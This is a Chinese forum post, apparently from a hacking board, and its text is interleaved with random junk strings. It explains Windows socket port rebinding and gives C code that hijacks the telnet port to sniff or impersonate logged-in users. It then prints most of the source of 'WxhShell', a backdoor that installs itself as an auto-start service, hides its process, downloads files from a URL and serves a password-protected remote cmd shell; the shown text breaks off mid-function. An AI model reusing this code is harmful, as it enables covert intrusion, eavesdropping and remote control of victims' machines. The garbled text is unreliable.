-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +/|t8z FWs s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7:P+ S%ZL svj0;x5 saddr.sin_family = AF_INET; u~7
,v ~Kll. saddr.sin_addr.s_addr = htonl(INADDR_ANY); ) |Md"r_B =H)"t:xE bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >oasA2S t{g7 :A 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >21f%Z n~C!PXE 这意味着什么?意味着可以进行如下的攻击: "qxu9Hg! En:/{~9{F 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 D)){"Q!b uNXKUJ V0 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) R\ZyS
)~l _I
A{I 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 e)):U d7i 0'R 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 W, -fnJk 3 6-Sw 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 g|V md HTw7l]] 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 kY.3x#w *c{X\!YBh 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #*)X+* :}{,u6\ #include @q<F_'7is #include m|%ly #include l/ :23\ #include Ow f:Kife DWORD WINAPI ClientThread(LPVOID lpParam); $5v:z int main() ;lU]ilYv { ")i>-1_H WORD wVersionRequested; "4[8pZO/ DWORD ret; i-E/#zni WSADATA wsaData; FAbl5VW' BOOL val; L.R4 iN SOCKADDR_IN saddr; R0DWjN$j SOCKADDR_IN scaddr; 'A)r)z{X int err; #}|g8gh SOCKET s; V0/O
T~gS8 SOCKET sc; x!^u$5c int caddsize; CTh!|mG HANDLE mt; >xK!J?!K DWORD tid; MFqM6_ wVersionRequested = MAKEWORD( 2, 2 ); Hy|
X>Z err = WSAStartup( wVersionRequested, &wsaData ); $#LR4 [Fq if ( err != 0 ) { }n[<$*W^ printf("error!WSAStartup failed!\n"); k%2Rv4)hU return -1; `;BpdG(m } oJ`cefcWo saddr.sin_family = AF_INET; jc-$l Im<( //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 V+- ]txu| ON
q =b I* saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *Iir/6myM saddr.sin_port = htons(23); ._A@,]LS} if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^Z`?mNq9 { lVR
a{._m printf("error!socket failed!\n"); [)L) R` return -1; l.@&B@5F } -er8(snDQ val = TRUE; Yj/[I\I"m //SO_REUSEADDR选项就是可以实现端口重绑定的 N&K`bmtD if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) i3v|r 0O~L { TF7~eyLg printf("error!setsockopt failed!\n"); REc+@;B return -1; R}J}Qb } %IhUQ6 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *!-J"h //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9W+RUh^W //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 KE*8Y4#9 9?L,DThQ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9Atnnx]n { NR|t~C+ ret=GetLastError(); O=2SDuBZ printf("error!bind failed!\n"); l
%M0^d6M return -1; h.WvPZ2U } Ka|,
qkb listen(s,2); C<u<:4^H while(1) ObIL w { w/UZ6fu caddsize = sizeof(scaddr); 3qNLosm#M //接受连接请求 m2h@* sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); p81Vt if(sc!=INVALID_SOCKET) 8{ooLdpX7 { 6(as.U>K mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?Ja&LNI9S if(mt==NULL) 'vc>uY { io^L[ printf("Thread Creat Failed!\n"); 75?z" i break; H\!p%Y } m. EIMuj } dw"{inMf CloseHandle(mt); rwh,RI)
)g } 5i|DJ6 closesocket(s); 5wgeA^HE2y WSACleanup(); hiBZZ+^[ return 0; Li8$Rb~q } &K@ RTgb DWORD WINAPI ClientThread(LPVOID lpParam) mNDz|Ln { Ap)[;_9BD SOCKET ss = (SOCKET)lpParam; f9FEH7S68 SOCKET sc; Fh0cOp( unsigned char buf[4096]; U\~9YX8 SOCKADDR_IN saddr; 4_&+]S long num; k?7V#QW( DWORD val; |ryV7VJ8 DWORD ret; <A+n[h //如果是隐藏端口应用的话,可以在此处加一些判断 W3aFao>!OZ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 *47',Qy saddr.sin_family = AF_INET; SNl% ?j|
f saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); E=eK(t(8 saddr.sin_port = htons(23); noL&>G if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i$CN{c* { !${7 )=|=1 printf("error!socket failed!\n"); !]*Cwbh.
u return -1; ?=#vp / } o +KDK{MD val = 100; r)xkpa5 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +$y%H { Tt\h#E ret = GetLastError(); SSo7
U return -1; 9?J
3G,& } Nt'6Y;m! if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,C97|6rC { Md[M}d8 ret = GetLastError(); jqv"8S5 return -1; CaE1h9 } RJhafUJ zH if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) OPe3p {] { )oAx t70 printf("error!socket connect failed!\n"); lNRGlTD% closesocket(sc); SR8)4:aKW closesocket(ss); Q!*}^W return -1; |S0nR<x-M } 1~aP)q while(1) o4PJ9x5R! { ~4^~w#R //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 n> tru L //如果是嗅探内容的话,可以再此处进行内容分析和记录 [ ~&yLccN //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~OSgpM#O!T num = recv(ss,buf,4096,0); b<bj5m4fz> if(num>0) dgp1 B\ send(sc,buf,num,0); 3[F9qDAy else if(num==0) [@;q#.}Z break; ,*MAteD num = recv(sc,buf,4096,0); (<KFA, if(num>0) w 8BSY send(ss,buf,num,0); W{W8\ else if(num==0) 1LZ[i89&% break; ~;S } DV{0|E closesocket(ss); }huFv*<@' closesocket(sc); {'@`:p&3r return 0 ; a2%xW_e } M)6iYA%$ CFTw=b@ =8V
9E ========================================================== \@!"7._= 1Wr,E#+C 下边附上一个代码,,WXhSHELL ,7h0y "zZZ h ========================================================== bGtS! 'I X 7R&>Pf #include "stdafx.h" m xEniy M~eXC #include <stdio.h> $+ #include <string.h> (J 1:J #include <windows.h> /nWBo l, #include <winsock2.h> riv8qg #include <winsvc.h> E*AI}:or; #include <urlmon.h> @s.civ!Yk {|{;:_.> #pragma comment (lib, "Ws2_32.lib") 'zhv#&O #pragma comment (lib, "urlmon.lib") l9t|@9 Rl{e<>O\^ #define MAX_USER 100 // 最大客户端连接数 B&L-Lc2 #define BUF_SOCK 200 // sock buffer xQ,My #define KEY_BUFF 255 // 输入 buffer s3sPj2e{ /
DG t #define REBOOT 0 // 重启 %EH{p@nM&- #define SHUTDOWN 1 // 关机 ~YRG9TK oH='\M%+ #define DEF_PORT 5000 // 监听端口 zQ~ax!}R kt2W7.A5 #define REG_LEN 16 // 注册表键长度 zI,z <- #define SVC_LEN 80 // NT服务名长度 \"pp-str /Os6i&; // 从dll定义API A9_}RJ9 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JnIE6@g<y typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G
_-JR typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hN^,'O typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |i\%>Y, +l hJ8& // wxhshell配置信息 lG5KZ[/Or struct WSCFG { `Kbf]"4q int ws_port; // 监听端口 8+@j %l j char ws_passstr[REG_LEN]; // 口令 hQ ?zc_3 int ws_autoins; // 安装标记, 1=yes 0=no 6,cJ3~!48 char ws_regname[REG_LEN]; // 注册表键名 cDIZkni= char ws_svcname[REG_LEN]; // 服务名 %#x
l+^ char ws_svcdisp[SVC_LEN]; // 服务显示名 bRD-[) char ws_svcdesc[SVC_LEN]; // 服务描述信息 )uu(I5St char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +L|x^B3 int ws_downexe; // 下载执行标记, 1=yes 0=no Nsn~mY% char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" cq0-Dd9^& char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r yNe=9p %<0'xJ%%Q }; [\3W_jR q ;"/i*+3 // default Wxhshell configuration 7epil struct WSCFG wscfg={DEF_PORT, t0_4jVt "xuhuanlingzhe", $p|Im, 1, Z 4QL&?U
"Wxhshell", R-YNg "Wxhshell", A <_{7F9 "WxhShell Service", k8c(|/7d "Wrsky Windows CmdShell Service", jwpahy;\WL "Please Input Your Password: ", H<") )EJI 1, v{SZ(; " http://www.wrsky.com/wxhshell.exe", uJ`:@Z^J "Wxhshell.exe" uaE,F^p }; rf+Z0C0WYi hdeI/4 B // 消息定义模块 f?$yxMw:@ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9ZNzC
i! char *msg_ws_prompt="\n\r? for help\n\r#>"; hof>:Rk char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ~)pso7^: char *msg_ws_ext="\n\rExit."; [,3E#+y char *msg_ws_end="\n\rQuit."; ^8KxU char *msg_ws_boot="\n\rReboot..."; \%&):OD1 char *msg_ws_poff="\n\rShutdown..."; D"gv:RojD char *msg_ws_down="\n\rSave to "; C8W_f( i~ xXlx}C char *msg_ws_err="\n\rErr!"; $zM \Jd char *msg_ws_ok="\n\rOK!"; (&SPMhs_|( RzU9]e char ExeFile[MAX_PATH]; +Sc2'z>R int nUser = 0; NL,6<ZOon, HANDLE handles[MAX_USER]; _Q 'f^Kj int OsIsNt; .'>d7 zs6rd83# SERVICE_STATUS serviceStatus; PeIKx$$Kl{ SERVICE_STATUS_HANDLE hServiceStatusHandle; OLo?=1&;; n&,X']z. // 函数声明 aJ@lT&. int Install(void); jx{
fel int Uninstall(void); rJh$>V+ ' int DownloadFile(char *sURL, SOCKET wsh); pk`5RDBu int Boot(int flag); zm8k,e +5- void HideProc(void); 31\mF\{V int GetOsVer(void); Z;S)GUG^ int Wxhshell(SOCKET wsl); AZf69z void TalkWithClient(void *cs); r
KYQ 8T int CmdShell(SOCKET sock); &@FufpPw/ int StartFromService(void); lL'Bop@ int StartWxhshell(LPSTR lpCmdLine); qI>,PX -24ccN; VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PjofW%7F VOID WINAPI NTServiceHandler( DWORD fdwControl ); |qVM`,%L YC$>D?FW // 数据结构和表定义 K4-_a{)/ SERVICE_TABLE_ENTRY DispatchTable[] = (|#%omLL { MV w.Fl {wscfg.ws_svcname, NTServiceMain}, R13V}yL {NULL, NULL} U&43/;<, }; X"vDFE`? I:w+lchAMe // 自我安装 1_TniR3z1 int Install(void) hYh~%^0dt { S=W^iA6> char svExeFile[MAX_PATH]; _DAqL@5n HKEY key; &*bpEdkZ strcpy(svExeFile,ExeFile); v_WF.sb~ 8H1&=)M= // 如果是win9x系统,修改注册表设为自启动 Q eN7~ J if(!OsIsNt) { rp^:{6O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7nBX@Uo RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4 L
5$=V RegCloseKey(key); 0dQ\Y]b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'v@*xF/L6a RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @^J>. g RegCloseKey(key); EG|_YW7 return 0; JNT|h zV } _[Sh`4`r } :Gzp
(@<@e } f]mVM(XZN else { R\Ckk;<$ R](cko= // 如果是NT以上系统,安装为系统服务 }#2(WHf=< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6y "]2UgQk if (schSCManager!=0) 8C?E1fH\ { .|Yn[?( SC_HANDLE schService = CreateService +~*e B ( I0><IaFy schSCManager, ef!f4u\ wscfg.ws_svcname, tv Zq):c wscfg.ws_svcdisp, $Yp.BE<} SERVICE_ALL_ACCESS, U(Bmffn4Z SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2Q7X"ek~[ SERVICE_AUTO_START, a]Y9;( SERVICE_ERROR_NORMAL, 2 <@g * svExeFile, -PU.Uw] NULL, gyPwNE NULL, fW[RCd NULL, o\PHs4Ws'7 NULL, o
q6^ NULL gX$gUB) x ); xJnN95`R@ if (schService!=0) ;.rY`<| { JStEOQF4 CloseServiceHandle(schService); ^. CloseServiceHandle(schSCManager); CJDNS21m strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HIt9W]koO strcat(svExeFile,wscfg.ws_svcname); uHRxV"@}[1 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "c?31$6 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xn@oNKD0 RegCloseKey(key); g>#}(u!PH return 0;
|
+uc;[` } th<>%e}5c } Oqt{ uTI~ CloseServiceHandle(schSCManager); d(@ ov^e- } yW\kmv.O } _3NH"o
d 1~},}S]id return 1; OF)*kiJ } [Q\(kd*4 3xmPY. // 自我卸载 `I4E':
ZG int Uninstall(void) P2 qC[1hYH { *cCj*Zr] HKEY key; kY6_n4 'cAS>s"$}V if(!OsIsNt) { ;j[:tt\k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5R%y3::$S RegDeleteValue(key,wscfg.ws_regname); +EqL| RegCloseKey(key); 0%Y}CDn_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }f% Qk0^ RegDeleteValue(key,wscfg.ws_regname); [d-Y1 RegCloseKey(key); R=$}uDFmW return 0; $9xp@8b\_ } e.#,9 } (d*||" } QC&,C}t, else { !4<A|$mQ ?AQA>D#W SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ts("(zI1E if (schSCManager!=0) \PFj w9s { ,H<nNBv3M SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9 g- 8u+& if (schService!=0) .u=|h3& { "`%UC# if(DeleteService(schService)!=0) { hN\sC9a1 CloseServiceHandle(schService); dTlEEgR CloseServiceHandle(schSCManager); jxt]Z3a ~0 return 0; CC'N"Xb } N3a ]!4Y\ CloseServiceHandle(schService); T|j=,2_ } =vriraV" CloseServiceHandle(schSCManager); q_L. Sy|) } 1mR@Bh } fF=tT C ]{#Xcqx return 1; ?YDMl } =W2I0nr. hd[t&?{= // 从指定url下载文件 }odjaM}5Nc int DownloadFile(char *sURL, SOCKET wsh) TDWD8??e { 2+pXtP@O HRESULT hr; w>}n1Nc$G char seps[]= "/"; ) ]<^*b> char *token; hJw]hVYa char *file; &OEBAtc/ char myURL[MAX_PATH]; ;B(16&l=q char myFILE[MAX_PATH]; qV,x )y:V ,S@B[+VZ strcpy(myURL,sURL); V?`|Ha} token=strtok(myURL,seps); zy8+~\a+Y& while(token!=NULL) yX%> %#$ { 8<KC-|y. file=token; Ol>/^3a= token=strtok(NULL,seps); \5=4!Ez } |}/KueZ Qw|y%Td8r GetCurrentDirectory(MAX_PATH,myFILE); RzFxO strcat(myFILE, "\\"); Jw^my4 strcat(myFILE, file); 0dI7{o;<| send(wsh,myFILE,strlen(myFILE),0); ,OP\^ send(wsh,"...",3,0); 4!-R&<TLve hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z@$'fX?~9 if(hr==S_OK) `Hv"^o return 0; i }Zz[b else r(_Fr#Qn return 1; U!RIeC a5d_= :S; } TV0Y{x*~iH PGVp1TQ // 系统电源模块 oR7f3';?6 int Boot(int flag) Bs>S2] { PlgpH'z4$ HANDLE hToken; f8UO`*O TOKEN_PRIVILEGES tkp; lL5* l,)To 5$X 8|Ve if(OsIsNt) { q./jYe OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]gF=I5jn] LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); YB^m!A),I[ tkp.PrivilegeCount = 1; 6lkCLH tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'P4V_VMK AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ycvgF6Me< if(flag==REBOOT) { BGOS( if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) osLEH?iKW return 0; qF`]}7"^ } i~M-V=Zg else { <'A-9y]-v if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +Mn(s36f2 return 0; D`.\c#;cN } qw)Ou]L= } $"}*#<Z else { IF<T{/MA if(flag==REBOOT) { |%3>i"Y@AK if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4$ah~E>,t return 0; LfCgvq6/pO } MI.OOoP3a else { U_E t if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i3Xo6!Q return 0; AP4s_X+= } :`<MlX } T8W^qrx.v e ^`La*n return 1; 8vfC } kKDf%= o4LVG // win9x进程隐藏模块 C8}=fa3u void HideProc(void) vNZ"x)? { ]~ S
zb nf:wJ-;* HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2uF'\y if ( hKernel != NULL ) {W%XSE { -b?s\X pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R+/kx#^ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V{\1qg{ FreeLibrary(hKernel); T$;BZ=_ } M~Er6Zg _=cuOo"! return; Z]5xy_La } `>lY$EBG@[ wNNg"}&P // 获取操作系统版本 9OlJC[ int GetOsVer(void) ?/~Q9My { lACS^( OSVERSIONINFO winfo; kn`O3cW/ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #&z'?x^a GetVersionEx(&winfo); $`lGPi(Jc if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]{0OPU return 1; N&(MM.\`^ else H6KBXMYO return 0; 3q6FV7Fv&b } >rYMOC~ f Avh!g // 客户端句柄模块 _BCq9/ int Wxhshell(SOCKET wsl) KmWd$Qy, { KR%NgV+}!0 SOCKET wsh; 'mF&`BN}b struct sockaddr_in client; c s:E^ DWORD myID; G1I<B i@%a!].I while(nUser<MAX_USER) 6!=q+sw/X { Zl.,pcL int nSize=sizeof(client); {Wr5F9q wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ItZ*$I1< if(wsh==INVALID_SOCKET) return 1; gXY]NWI SR<W3a\ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tU>7jo[-p if(handles[nUser]==0) Oz"_KMz closesocket(wsh); R[QBFL< else )L_@l5l nUser++; bJynUZ } DD[<J:6 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I-Am9\ w.+G+r= return 0; ~{{7y]3M- } `84,R! V%`\x\Xat // 关闭 socket h66mzV:` void CloseIt(SOCKET wsh) _d>{Hz2 { n9Vr*RKM) closesocket(wsh); `y{[e j nUser--; ^5k~7F. ExitThread(0); f'Oj01[ } 9j0o)] <uo@k' // 客户端请求句柄 jm'^>p,9G void TalkWithClient(void *cs) -"x@ V7X { \J-D@b; /U0,% SOCKET wsh=(SOCKET)cs; FvD/z;N char pwd[SVC_LEN]; ~h3~<p#M` char cmd[KEY_BUFF]; E[FE-{B# char chr[1];
KvO5-g int i,j; zkd^5A; ` @S&QxE^ while (nUser < MAX_USER) { &WS'Me Sh:_YD^( if(wscfg.ws_passstr) {
| 1a}p if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^bLFY9hSC //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o76{;Bl\O //ZeroMemory(pwd,KEY_BUFF); iUZV-jl2/ i=0; =i},$"Bf*% while(i<SVC_LEN) { &QFc)QP{ K :>O X // 设置超时 e^N}(Kpy fd_set FdRead; \AB)L{ struct timeval TimeOut; {??bJRT FD_ZERO(&FdRead); ^3QJv{)Q FD_SET(wsh,&FdRead); {9cjitl TimeOut.tv_sec=8; J"XZnb)E= TimeOut.tv_usec=0; k/)h @K8@ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u7},+E)+B if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E=]|v+#~ ss`Sl$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vb9C pwd =chr[0]; B'b OK`p if(chr[0]==0xd || chr[0]==0xa) { '*<I<? z; pwd=0; _s}`ohKvD break; .d?LRf } O0eM*~zI i++; zu
7Fq]zD } k[y^7,r !&5*H06 // 如果是非法用户,关闭 socket |3`8$- if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T`GiM%R;g } 1-|aeJ mrig5{ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Mt@Ma ]! send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^zfs8]QSf #K!"/,d@>J while(1) { )^
P Wr^ I^[[*Bh*C ZeroMemory(cmd,KEY_BUFF); $ <3^( y ,}NTV~ // 自动支持客户端 telnet标准 YdN]Tqc j=0; gJ^taUE while(j<KEY_BUFF) { 4zZ.v"laVM if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x~](d8*= cmd[j]=chr[0]; Vd'=Fe;eB if(chr[0]==0xa || chr[0]==0xd) { o.s(=iG cmd[j]=0; U.Y7]#P: break; `]a0z|2'! } /<Z3x
_c j++; Y8N+v+V/ } FuG;$';H75 N*)O_Ki // 下载文件 NCgKWyRR if(strstr(cmd,"http://")) { `Q[NrOqe" send(wsh,msg_ws_down,strlen(msg_ws_down),0); +zEyCx=8H if(DownloadFile(cmd,wsh)) hS&.-5v send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2UxmKp[ else #5iy^?N"w send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lNTbd"}$: } 5qFHy[IA else { ZH~Wn#Wp DcE4r>8B switch(cmd[0]) { rbl^ aik 8\jsGN.$JZ // 帮助 &=XK:+ case '?': { |/n send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7xfS%'=y" break; 3$.#\*s_4 } Mq_P'/ // 安装 pF(6M3>IN case 'i': { :>F3es` if(Install()) 9TwKd0AT$& send(wsh,msg_ws_err,strlen(msg_ws_err),0); M`E}1WNQ?] else 5Vai0Qfcu: send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z;njSw%: break; wJ"]H!r0 } 3eB)X2~ // 卸载 ?]o(cz case 'r': { v8n^~=SH if(Uninstall()) amQTPNI send(wsh,msg_ws_err,strlen(msg_ws_err),0); }_('3C,Ba else &(e5*Q send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cwzgIm+ break; B:Awy/XMi } +O.qYX // 显示 wxhshell 所在路径 y>)c?9X case 'p': { Y?L>KiM$ char svExeFile[MAX_PATH]; _]{LjJ!M strcpy(svExeFile,"\n\r"); (H\ `/%Bp strcat(svExeFile,ExeFile); hDQk zqW send(wsh,svExeFile,strlen(svExeFile),0); i1'G_bo4F7 break; 5>ktr)] } F!p;]B // 重启 t0Jqr)9}6 case 'b': { ?Iq{6O>D. send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6YV"H if(Boot(REBOOT)) N(2M
w:} send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]&dPY[~,/i else { +cKOIMu9 closesocket(wsh); (/s~L*gF{ ExitThread(0); be$']}cP } 9A/bA|$
break; 9%bErMHL } CxSh.$l // 关机 4C;y2`C case 'd': { 9,JWi{lIv send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Et0)6^-v if(Boot(SHUTDOWN)) ;cZp$
xb3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); L27WD m^) else { ) .KMZ] closesocket(wsh); `zB bB^\`W ExitThread(0); /)kx`G_ } ).A9>^6?{ break; @th94tk, } :8HVq*itS // 获取shell {m@tt{% case 's': { o\; hF3 CmdShell(wsh); 6As%<g= closesocket(wsh); D wr 9}Z-] ExitThread(0); Z`U+a break; Tu5p`p3-j } ael] {'h] // 退出 4O/IT1+A case 'x': { oZ ^,* send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ect$g# CloseIt(wsh); `S.I,<& break; B2a#:E,6 } /Ov1eQBNG // 离开 R/kJUl6HEl case 'q': { L#J2J$= send(wsh,msg_ws_end,strlen(msg_ws_end),0); &`m$Zzl;
closesocket(wsh); nh"dPE7^ WSACleanup(); E.+%b;Eqe exit(1); 9NNXj^7 break; O.-n&U9 } $EEn]y
} ST;o^\B } `w`F-ke]I 9*huO# // 提示信息 E|+<m! if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %g{)K)$,ui } Pai8r%Zfu } yn_. s9OW.i]zX return; M_>kefr } >/lB%<$/ *'-t_F'; // shell模块句柄 >,h{` int CmdShell(SOCKET sock) #TO^x&3@ { ByO?qft>u STARTUPINFO si; m7C!}l]9 ZeroMemory(&si,sizeof(si)); 3,X8 5`v^ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CC;^J-h/ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bN03}&I PROCESS_INFORMATION ProcessInfo; D.|r
[c char cmdline[]="cmd"; !pkIaCxs CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S^|U" return 0; dv+ZxP%g } }/,Rp/+7] R!lug;u# // 自身启动模式 jzGK(%sw" int StartFromService(void) xI~AZ:m { Li"+` typedef struct W&&|T;P<J { E*wG5]at DWORD ExitStatus; #z<#oC5 DWORD PebBaseAddress; )tnbl"0 DWORD AffinityMask; &[_@f# DWORD BasePriority; V*5v
